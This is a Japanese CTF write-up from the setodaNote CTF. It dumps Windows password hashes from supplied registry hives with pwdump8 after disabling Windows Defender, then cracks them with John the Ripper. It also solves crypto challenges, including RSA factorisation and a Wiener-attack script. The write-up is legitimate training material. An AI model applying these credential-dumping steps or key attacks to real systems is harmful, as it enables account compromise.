$ sudo apt install john $ john hashes.txt Created directory: /home/user/.john Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2-16]) Press 'q' or Ctrl-C to abort, almost any other key for status () () (stella) (*disabled* ) (*disabled* ) (*disabled* Guest) (*disabled* Administrator) 7g 0:00:00:00 100% 2/3 100.0g/s 42028p/s 42028c/s 294200C/s 123456..MARLEY Use the "--show" option to display all of the cracked passwords reliably Session completed $ john hashes.txt --show *disabled* Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* ::503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* ::504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: stella::1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ::1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ::1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 7 password hashes cracked, 0 left
解析が終わったのにパスワードがでてなさそう?
https://crackstation.net/でも「Result」はカラ
→結論からすると、上記はカラのハッシュだった
(参考)ネットにあったサンプルはすぐにパスワードが判明した
$ john hashes_sample.txt --wordlist password.lst --format=NT : test (Administrator) ★ $ john hashes_sample.txt --show --format=NT Administrator:test:500:01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537::: ★password ★LM ★NTLM
Hash Type Result 01fc5a6be7bc6929aad3b435b51404ee LM TEST Hash Type Result 0cb6948805f797bf2a82807973b89537 NTLM test ※「Result」がパスワード
samdump2でのハッシュ取り出しがうまくいっていない?
Windows10にも対応している別のツールにてハッシュを取り出してみる
仮想マシンにてスナップショットをとる
Windows Defenderを無効にする
pwdump8.2をダウンロード
https://www.openwall.com/passwords/windows-pwdump
Windows 2000/XP/Vista/7/2008/8/8.1/10/2012/2016/2019 ←★対応OS
※プログラムの性質上、悪用されることもあり、ウイルス対策ソフトにひっかかる
仮想マシンで実行し、終了後スナップショットに戻すと安心
pwdump8と同じディレクトリにCTFの問題として提供された以下ファイルをおく
・SYSTEM
・SAM
・SECURITY
管理者にて以下を実行(ローカルファイル名を指定してハッシュを取得する)
>pwdump8.exe -f SYSTEM SAM SECURITY > result.txt
PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540 stella:1001:AAD3B435B51404EEAAD3B435B51404EE:2F8AE2E260D0CFE3756FF53E639E3377 test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8 akari:1003:AAD3B435B51404EEAAD3B435B51404EE:B66EADE488CE2C23BA226427E40FED41 ★User ★LM ★NTLM
アカウントが見えており、samdump2とは違うカラでないハッシュも見えている
LM
AAD3B435B51404EEAAD3B435B51404EE
はカラのパスワード
NTLM
31D6CFE0D16AE931B73C59D7E0C089C0
はカラのパスワードなのでそれ以外を対象とする
以下をhttps://crackstation.net/にて確認
27C3A146AA209B2120F7ECC9DB065540 2F8AE2E260D0CFE3756FF53E639E3377 3C99B8901B00758369F18B9DF72012C8 B66EADE488CE2C23BA226427E40FED41
Hash Type Result 27C3A146AA209B2120F7ECC9DB065540 Unknown Not found. 2F8AE2E260D0CFE3756FF53E639E3377 Unknown Not found. 3C99B8901B00758369F18B9DF72012C8 NTLM testtest ★パスワード判明 B66EADE488CE2C23BA226427E40FED41 Unknown Not found.
アカウント:test パスワード:testtest
最後に、忘れずにスナップショットに戻す
(参考)SAM.LOG1などは読めなかった
>pwdump8.exe -f SYSTEM.LOG1 SAM.LOG1 SECURITY.LOG1 PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it err: 1017 loading SYSTEM hive from file err: 1017 loading SAM hive from file err: 1017 loading SECURITY hive from file error opening syskey reg hive error readng syskey error 2 opening user's key.. >pwdump8.exe -f SYSTEM.LOG2 SAM.LOG2 SECURITY.LOG2 PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it err: 1017 loading SYSTEM hive from file err: 1017 loading SAM hive from file error opening syskey reg hive error readng syskey error 2 opening user's key..
setodaNoteCTF Writeup [Crypto]
Crypto
base64
base64 decodeするだけ
ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==
ROT13
ROT13するだけ
synt{Rira_lbh_Oehghf?}
pui_pui
以下の文字列が与えられる
\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a
謎の会話とflagがでてくる
A:Do you know Molcar? B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up. A:... What? B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.
tkys_secret_service
問題文をROT13してみるとThe~となる
The priteftoiu ic Ciutrilled Uuflazzocoed Iucirmatoiu (CUI) rezodeut ou uiucederal zyztemz aud irgauosatoiuz oz ic paraminut ompirtaufe ti cederal ageufoez aud fau doreftly ompaft the aboloty ic the cederal giverumeut ti znffezzcnlly fiudnft otz ezzeutoal mozzoiuz aud cnuftoiuz. Thoz pnblofatoiu privodez ageufoez woth refimmeuded zefnroty reqnoremeutz cir priteftoug the fiucodeutoaloty ic CUI wheu the oucirmatoiu oz rezodeut ou uiucederal zyztemz aud irgauosatoiuz; wheu the uiucederal irgauosatoiu oz uit filleftoug ir maoutaououg oucirmatoiu iu behalc ic a cederal ageufy ir nzoug ir iperatoug a zyztem iu behalc ic au ageufy; aud where there are ui zpefocof zacegnardoug reqnoremeutz cir priteftoug the fiucodeutoaloty ic Flag oz clag{pnopno_far_ic_mil} CUI prezfrobed by the anthirosoug law, regnlatoiu, ir giverumeutwode pilofy cir the CUI fategiry lozted ou the CUI Regoztry. The reqnoremeutz apply ti all fimpiueutz ic uiucederal zyztemz aud irgauosatoiuz that prifezz, ztire, aud/ir trauzmot CUI, ir that privode priteftoiu cir znfh fimpiueutz. The zefnroty reqnoremeutz are outeuded cir nze by cederal ageufoez ou fiutraftnal vehoflez ir ither agreemeutz eztablozhed betweeu thize ageufoez aud uiucederal irgauosatoiuz.
Flagの文字列がある
Flag oz clag{pnopno_far_ic_mil}
Flag is flag{~}にみえる
一部の文字を入れ替えるのか
o -> i
z -> s
c -> f
flag{pnipni_far_if_mil}
だめ
英単語と仮定して法則を見つける
aud -> and
u -> n
aud/ir -> and/or
privode -> provide
i -> o
flag{pnipni_far_of_mol}
まだだめ
agreemeutz -> agreements
z -> s
Uuflazzocoed -> Unclassified
f -> c?
大文字はそのまま?
モルカーっぽい
n -> u
lets_bake
150
あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。 レシピを解読し、秘密のメッセージを入手してください。 Input: NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0 Recipe: RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=
問題文からサイバーシェフを使うとわかる
Recipeをどう解読するのか非常に苦戦したが、以下のように区切り、
それぞれBASE64デコードしたらうまくいった
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[s RnJvbV9IZXgoJ05vbmUnKQ0=]b2[s Rm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[s UkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=
↓BASE64デコード
From_Base64('A-Za-z0-9+/=',true) ok From_Hex('None') ok Fork('%','_',false) ok RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1') ok
vul_rsa_01
200
あなたは組織の定期研修に参加しています。 教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。 どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。 c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 e: 65537
以下を参考に解いていく
RSA暗号解読問題を解く
https://k-mawa.hateblo.jp/entry/2018/06/07/192242
https://k-mawa.hateblo.jp/entry/2018/06/19/141347
Msieve(高速に素因数分解を行ってくれるプログラム)のインストール
https://inaz2.hatenablog.com/entry/2016/01/09/032521
Ubuntuにて必要となるパッケージをインストール
$ sudo apt-get install build-essential libgmp3-dev zlib1g-dev libecm-dev
ダウンロードとコンパイル
$ wget "http://downloads.sourceforge.net/project/msieve/msieve/Msieve%20v1.52/msieve152.tar.gz?r=&ts=1452107977&use_mirror=jaist" -O msieve152.tar.gz $ tar xvf msieve152.tar.gz $ cd msieve-1.52/ $ make all ECM=1
nの値を使い、解析を行う
$ ./msieve -e -p -q -v "13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257" Msieve v. 1.52 (SVN unknown) :(略) prp43 factor: 3058517013146002381763962882964790715736519 prp46 factor: 4372642466716249946441875327733923056149624303 elapsed time 00:29:31
ログより、30分ほどかかっている
nを素因数分解した場合の、2つの素数pとqが判明
pycryptoをインストール
$ pip install pycrypto
参考サイトの通り、スクリプトを書く
from Crypto.PublicKey import RSA from Crypto import Random from Crypto.Util.number import * #inverse()を使う import Crypto.PublicKey.RSA as RSA C = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 E = 65537 p = 3058517013146002381763962882964790715736519 q = 4372642466716249946441875327733923056149624303 d = inverse(E,(p-1)*(q-1)) print (d) #秘密鍵 rsa_key = RSA.construct((p*q, E, d)) print (rsa_key) print (rsa_key.decrypt(C)) int = rsa_key.decrypt(C) print (long_to_bytes(int))
スクリプトを実行
$ python3 rsa_test.py 4897557609358873156657999039608506066811736904039482454770352974851826510011931551945473 <_RSAobj @0x7f98fd45cda0 n(293),e,d,p,q,u,private> 46327402297761911070944293204953074319567693047395802794186233938451290661245 b'flag{weak_rsa_can_be_decrypted!}'
vul_rsa_02
250
あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。 「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。 RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。 もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。 c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
ROCAの脆弱性を試してみる
ROCAに必要なパッケージのインストール
$ sudo apt install git $ sudo apt install libgmp-dev $ sudo apt install cmake
necaのダウンロードとインストール
$ git clone https://gitlab.com/jix/neca $cd neca $cmake . $make
./neca (nの値)のように実行
$ ./neca 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 NECA - Not Even Coppersmith's Attack ROCA weak RSA key attack by Jannis Harder (me@jix.one) *** Currently only 512-bit keys are supported *** *** OpenMP support enabled *** N = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 Given key does not seem to be weak.
失敗
(参考)以下サイトでROCAの脆弱性があるかチェックできる
https://keychest.net/roca
(ここまで)
RSA暗号運用でやってはいけないnのこと
https://www.slideshare.net/sonickun/rsa-n-ssmjp
eの値が大きすぎてはいけない
Wiener's Attack が適用可能
eが大きいと相対的にdが小さくなることを利用
上記が使えそう
Pragyan CTF 2019 "Easy RSA" writeup
https://ctftime.org/writeup/13831
rsa-wiener-attack
https://github.com/pablocelayes/rsa-wiener-attack
上記を少し変更して問題に合わせる
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator def hack_RSA(e,n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s*s - 4*n if(discr>=0): t = Arithmetic.is_perfect_square(discr) if t!=-1 and (s+t)%2==0: print("Hacked!") return d # TEST functions def test_hack_RSA(): print("Testing Wiener Attack") times = 1 while(times>0): e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 d = 0 print("(e,n) is (", e, ", ", n, ")") print("d = ", d) hacked_d = hack_RSA(e, n) print("d = ", d, ", hacked_d = ", hacked_d) print("-------------------------") times -= 1 if __name__ == "__main__": #test_is_perfect_square() #print("-------------------------") test_hack_RSA()
実行してみる
$ python3 RSAwienerHacker_m.py Testing Wiener Attack (e,n) is ( 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 , 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 ) d = 0 Hacked! d = 0 , hacked_d = 19780253153570454414022314122363673676673 -------------------------
以下スクリプトにて復号する
(参考にしたサイト)https://tech.kusuwada.com/entry/2018/06/02/013904
from Crypto.PublicKey import RSA from Crypto import Random from Crypto.Util.number import * #inverse()を使う import Crypto.PublicKey.RSA as RSA E = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 N = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 C = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 d = 19780253153570454414022314122363673676673 key = RSA.construct(map(int, (N, E, d))) print(long_to_bytes(key.decrypt(C)))
実行
$ python3 rsa_test.py b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
なんか、フラグ以外に余計な出力がでているが・・・不明
WEARECIA
300
家に帰ると黒い封筒が郵便受けに入っていました。 封筒の中身は英字が羅列されたメモが一枚。 青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。 どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。 以下の暗号文を解読し、隠されたメッセージを見つけてください。 フラグは得られたメッセージを flag{} で囲んで回答してください。 EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM
(解けていない)
(追記)
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/WEARECIA
以下を使うらしい
https://www.dcode.fr/vigenere-cipher
ALPHABET
にKRYPTOSABCDEFGHIJLMNQUVWXZ
KNOWING THE KEY/PASSWORD:
にPALIMPSEST
FLAGISを含む文字となる
BETWEENSUBTLESHADINGANDTHEABSENCEOFLIGHTLIESTHENUANCEOFIQLUSIONFLAGISWEARETHENATIONSFIRSTLINEOFDEFENSE